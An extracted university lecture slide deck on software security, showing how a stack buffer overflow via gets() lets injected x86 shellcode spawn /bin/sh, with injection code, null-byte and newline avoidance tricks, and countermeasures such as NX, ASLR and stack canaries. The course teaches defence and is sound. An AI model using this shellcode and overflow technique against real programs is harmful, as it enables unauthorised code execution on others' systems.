• Aucun résultat trouvé

Sécurité des logiciels

N/A
N/A
Protected

Academic year: 2022

Partager "Sécurité des logiciels"

Copied!
37
0
0

Texte intégral

(1)

1

Sécurité des logiciels

buffer overflow + shell code

= pwnd!

Samuel Thibault <samuel.thibault@u-bordeaux.fr>

CC-BY-NC-SA

(2)

The real meat!

f(32, 52)

After local variables allocation, on the stack:

parameters (8(%ebp), 12(%ebp, ...)

return address

ebp backup

local variables (-4(%ebp), ...) f: pushl %ebp

movl %esp, %ebp subl $42, %esp ...

52 32

...

0x1000 0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

...

parameters

0x0815 return address

ebpebp backup 0x0ffc

esp

local variables ... ...

(3)

3

Back to the magic example

#define N 11 int t[N];

int i;

for (i = 0; i <= N; i++) t[i] = 0;

52 32 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0815 0x1000

...

i t[10]

t[9]

t[8]

...

(4)

Back to the magic example

#define N 11 int t[N];

int i;

for (i = 0; i <= N; i++) t[i] = 0;

52 32 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0815

...

i / t[11]

t[10]

t[9]

t[8]

...

0x1000

(5)

5

Back to the magic example

#define N 11 int t[N];

int i;

for (i = 0; i <= 2*N; i++) t[i] = 11;

52 32 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0815

...

i t[10]

t[9]

t[8]

...

0x1000

(6)

Back to the magic example

#define N 11 int t[N];

int i;

for (i = 0; i <= 2*N; i++) t[i] = 11;

52 / t[15]

32 / t[14]

0x1000 0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0815 / t[13]

0x1000 / t[12]

...

i / t[11]

t[10]

t[9]

t[8]

...

(7)

7

Back to the magic example

#define N 11 int t[N];

int i;

for (i = 0; i <= 2*N; i++) t[i] = 11;

Thus crashes on ret...

(tries to execute instruction at address 11!)

11 11 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

11 11

...

11 11 11 11 ...

(8)

Buffer overflow + shell code

(9)

9

Calling a function

int litentier(void) { int i;

char buf[64];

printf("> ");

fflush(stdout);

gets(buf);

i=atoi(buf);

return i;

}

See man gets: “BUGS: Never use gets().”

Never pass the address of an array without passing its size

(10)

Calling a function

int litentier(void) { int i;

char buf[64];

printf("> ");

fflush(stdout);

gets(buf);

i=atoi(buf);

return i;

}

52 32 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0815

...

i buf[63]

buf[62]

buf[61]

...

0x1000

buf[0]

(11)

11

Calling a function

Fill buf with > 64 bytes with

shell code to be executed

address of shell code to overwrite 0x815 5232

0x1000 0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0815

...

i buf[63]

buf[62]

buf[61]

...

0x1000

0x0fac buf[0]

... ...

(12)

Calling a function

Fill buf with > 64 bytes with

shell code to be executed

address of shell code to overwrite 0x815 5232

0x1000 0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0fac

...

0 00 00 00

shell code 0

(13)

13

Calling a function

Fill buf with > 64 bytes with

shell code to be executed

address of shell code to overwrite 0x815 Make it more robust

Some nops before shell code

address of buf several times

in case addresses are not know precisely

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0fac

...

0x0fac 0x0fac 0x0fac 0x0fac shell code

nopnop nop 0x0fac

0x0fac ... ...

ESP

(14)

Calling a function

Fill buf with > 64 bytes with

shell code to be executed

address of shell code to overwrite 0x815 Make it more robust

Some nops before shell code

address of buf several times

in case addresses are not know precisely

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0fac

...

0x0fac 0x0fac 0x0fac 0x0fac shell code

nopnop nop 0x0fac ESP

(15)

15

Calling a function

Fill buf with > 64 bytes with

shell code to be executed

address of shell code to overwrite 0x815 Make it more robust

Some nops before shell code

address of buf several times

in case addresses are not know precisely On ret

Starts executing nops

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0fac

...

0x0fac 0x0fac 0x0fac 0x0fac shell code

nopnop nop 0x0fac

0x0fac ... ...

EIP ESP

(16)

Calling a function

Fill buf with > 64 bytes with

shell code to be executed

address of shell code to overwrite 0x815 Make it more robust

Some nops before shell code

address of buf several times

in case addresses are not know precisely On ret

Starts executing nops

Then shell code

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0fac

...

0x0fac 0x0fac 0x0fac 0x0fac shell code

nopnop nop 0x0fac

EIP ESP

(17)

17

Now the shell code

call next

.asciz “/bin/sh”

next:

popl %ebx

movl $11, %eax pushl $0

movl %esp, %edx pushl %ebx

movl %esp, %ecx int $0x80

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0fac

...

0x0fac 0x0fac pushl...

next: poplmovl

“/bin/sh”

call next 0x0fac

0x0fac ... ...

EIP ESP

(18)

Now the shell code

call next

.asciz “/bin/sh”

next:

popl %ebx

movl $11, %eax pushl $0

movl %esp, %edx pushl %ebx

movl %esp, %ecx int $0x80

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0fb1

...

0x0fac 0x0fac pushl...

next: poplmovl

“/bin/sh”

call next 0x0fac

EIP ESP

(19)

19

Now the shell code

call next

.asciz “/bin/sh”

next:

popl %ebx

movl $11, %eax pushl $0

movl %esp, %edx pushl %ebx

movl %esp, %ecx int $0x80

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0fb1

...

0x0fac 0x0fac pushl...

next: poplmovl

“/bin/sh”

call next 0x0fac

0x0fac ... ...

EIP ESP

EBX...

(20)

Now the shell code

call next

.asciz “/bin/sh”

next:

popl %ebx

movl $11, %eax pushl $0

movl %esp, %edx pushl %ebx

movl %esp, %ecx int $0x80

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0x0fb1

...

0x0fac 0x0fac pushl...

next: poplmovl

“/bin/sh”

call next 0x0fac ESP

EBX...

EIP

(21)

21

Now the shell code

call next

.asciz “/bin/sh”

next:

popl %ebx

movl $11, %eax pushl $0

movl %esp, %edx pushl %ebx

movl %esp, %ecx int $0x80

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0

...

0x0fac 0x0fac pushl...

next: poplmovl

“/bin/sh”

call next 0x0fac

0x0fac ... ...

ESP

EBX...

(22)

Now the shell code

call next

.asciz “/bin/sh”

next:

popl %ebx

movl $11, %eax pushl $0

movl %esp, %edx pushl %ebx

movl %esp, %ecx int $0x80

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0

...

0x0fac 0x0fac pushl...

next: poplmovl

“/bin/sh”

call next 0x0fac

EBX...

EDX, ESP

(23)

23

Now the shell code

call next

.asciz “/bin/sh”

next:

popl %ebx

movl $11, %eax pushl $0

movl %esp, %edx pushl %ebx

movl %esp, %ecx int $0x80

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0

...

0x0fac 0x0fac pushl...

next: poplmovl

“/bin/sh”

call next 0x0fb1

0x0fac ... ...

ESP

EBX...

EDX

(24)

Now the shell code

call next

.asciz “/bin/sh”

next:

popl %ebx

movl $11, %eax pushl $0

movl %esp, %edx pushl %ebx

movl %esp, %ecx int $0x80

i.e.

0x0fac 0x0fac 0x1000

0x0ffc 0x0ff8 0x0ff4 0x0ff0 0x0fec 0x0fe8 0x0fe4

0

...

0x0fac 0x0fac pushl...

next: poplmovl

“/bin/sh”

call next 0x0fb1

0x0fac ECX, ESP

EBX...

EDX

(25)

25

How to inject it?

int litentier(void) { int i;

char buf[64];

printf("> ");

fflush(stdout);

gets(buf);

i=atoi(buf);

return i;

}

char shcode[n] = "...";

void *addr = 0xfac;

for (i=0; i<16; i++)

memcpy(shcode+64+4*i, &addr, 4);

for (i=0; i<n; i++) putchar(shcode[i]);

for (i=0; i<8192; i++) putchar('\n');

printf("touch /tmp/a\n");

printf("echo pwnd...\n");

fflush(stdout);

(26)

How to inject it?

shcode + first \n are eated by victim

victim runs the shell code

victim execve(“/bin/sh”)

last \n are eated by shell

shell executes touch, echo, anything you want.

char shcode[n] = "...";

void *addr = 0xfac;

for (i=0; i<16; i++)

memcpy(shcode+64+4*i, &addr, 4);

for (i=0; i<n; i++) putchar(shcode[i]);

for (i=0; i<8192; i++) putchar('\n');

printf("touch /tmp/a\n");

(27)

27

Ok, it’s not always that simple actually :)

(28)

Size matters

64 bytes is not much

→ tips & tricks

Use xorl %eax,%eax instead of movl $0, %eax

Use leal 4(%ebx),%ebx instead of addl $4,%ebx ...

(29)

29

Code needs to be address-independent

We don’t know in advance where buf is

→ relative instructions

call next uses relative addressing e8 08 00 00 00 call next

To embed data, some tricks

e8 08 00 00 00 call next 2f 62 69 6e 2f 73 68 00 "/bin/sh"

next:

Use the stack for local variables

(30)

Code may have to exclude \n

gets() reads input until ‘\n’ (0x0d)

→ So shell code mustn’t contain ‘\n’!

If needed, negate constants

a1 00 00 f3 50 movl $0x50f30000, %eax f7 d8 neg %eax

-> 0xaf0d0000

(31)

31

Code may have to exclude \0

When target is bogus strcpy, stops at ‘\0’

→ Shell code mustn’t contain ‘\0’!

If needed, invert constants

a1 ff ff f2 50 movl $0x50f2ffff, %eax f7 d0 not %eax

-> 0xaf0d0000

Or zero register before loading constant

31 c0 xorl %eax, %eax b0 01 movb $1, %al

Or shift the value

b0 04 movb $4, %al 66 c1 e0 08 shl $8, %ax

(32)

Code may have to exclude \0

When target is bogus strcpy, stops at ‘\0’

→ Shell code mustn’t contain ‘\0’!

Use jmp/call/pop instead of call/pop

Fortunately jmp has a 8bit relative variant!

Call relative address is now negative, thus no ‘\0’

eb 40 jmp getdata back: pop %eax

e8 da ff ff ff getdata: call back

.string "hello"

(33)

33

Countermeasures

(34)

Countermeasures

Some functions are inherently dangerous

gets, strcpy, sprintf, ...

Remove them from libc?

Forbid their use?

Compiler warnings

Static analysis tool warnings

But programmers will create others, can’t fix all such bugs

(35)

35

Countermeasures

Stack is (was) executable 32bit x86: R <=> X

Cannot make the stack readable without making it executable 64bit x86: NX bit in pagetable

Stack non executable

objdump -x test

[...]

STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4

filesz 0x00000000 memsz 0x00000000 flags rw-

But may be impossible: taking address of nested function

objdump -x test2

[...]

STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4

filesz 0x00000000 memsz 0x00000000 flags rwx

(36)

Countermeasures

Stack position is (was) constant

ASLR: Address Space Layout Randomization

See TD1, addresses were never the same

Not only position of stack, but also heap, libraries...

And now with PIE, the main binary as well

That’s why the address thing in our exploit For testing without ASLR:

setarch $(uname -m) -R bash But flaws may reveal them

(37)

37

Countermeasures

Stack smashing protection

Compile with -fstack-protector

Puts extra data on the stack (“canary”)

At the end of function, check it is still valid But shell code can take care of fixing it

But canary can be random

But shell code can lookup the random value ...The game never ends :)

Références

Documents relatifs

– Step 2: The server receive the message and reply by sending back the minimal string and part of the process memory;. – Step 3: The client get the string back

Programs have their own uid, inherited from uid of parent, except when the program is

● Disassemble functions objdump -d test. ● Disassemble everything objdump

PHASE 2 - DEVELOP A VISION – WHAT DO WE WANT OUR CLUB TO BE LIKE DÉVELOPPER UNE VISION - QUE VOULONS-NOUS QUE NOTRE CLUB SOIT. • Purpose Statement – How you will be different

The almost sure convergence of the smallest singular value was proved in [20] for Gaussian random matrices (i.e. the Wishart matrix).. These results were later generalized to

Therefore, the objective of this study was to explore the experiences, including motives, per- ceptions, attitudes, and norms, of parents of young children by using different bike

La victime est logguée sur un site bancaire site-bancaire.com mais visite également dʼautres sites web dans le même temps dont celui du pirate. Une popup est

Game-Based Learning involves learning situations where children play or design games – whether digital, physical, or table-top games – in which they solve problems and